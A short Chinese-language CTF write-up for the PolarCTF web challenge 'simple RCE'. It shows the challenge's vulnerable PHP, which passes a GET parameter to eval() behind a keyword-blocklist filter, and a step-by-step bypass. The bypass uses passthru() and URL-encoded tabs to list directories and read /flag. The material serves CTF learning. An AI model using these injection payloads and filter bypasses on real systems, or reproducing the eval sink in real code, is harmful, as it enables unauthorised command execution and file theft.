polarctf-web-[简单rce]
考点:
(1)RCE(eval函数)
(2)执行函数(passthru函数)
(3)/
顶级(根)目录查看
(4)sort排序查看函数
题目来源:Polarctf-web-[简单rce]
解题:
代码审计
<?php/*PolarD&N CTF*/highlight_file(__FILE__);function no($txt){ # WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){return $txt;}else{die("what's up");}}$yyds=($_POST['yyds']);if(isset($_GET['sys'])&&$yyds=='666'){ # 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']eval(no($_GET['sys']));}else{echo "nonono";}?> nonono
分析结果:post传参yyds=666
,get传参sys,如果传递的sys绕过了WAF
,则执行sys命令,可利用sys传参实现任意代码执行
由于未过滤执行函数passthru()
,故可以利用该函数实现任意代码执行
(1)sys=passthru('ls');
查看当前路径下有什么文件,仅有一个index.php文件
(2)sys=passthru('sort%09index.php');
-
sort
:Linux 系统命令,用于对文件内容排序并输出内容。 -
%09
:URL 编码的 水平制表符(\t
),在 Shell 中相当于空格。
查看index.php文件,该文件即为初始显示的前端页面,无利用点
(3)sys=passthru('ls%09/');
查看顶级目录(根目录)下有什么文件
看到存在可疑文件flag
(4)sys=passthru('sort%09/flag');
排序并输出flag文件
(5)也可以使用sys=passthru('vi%09/flag');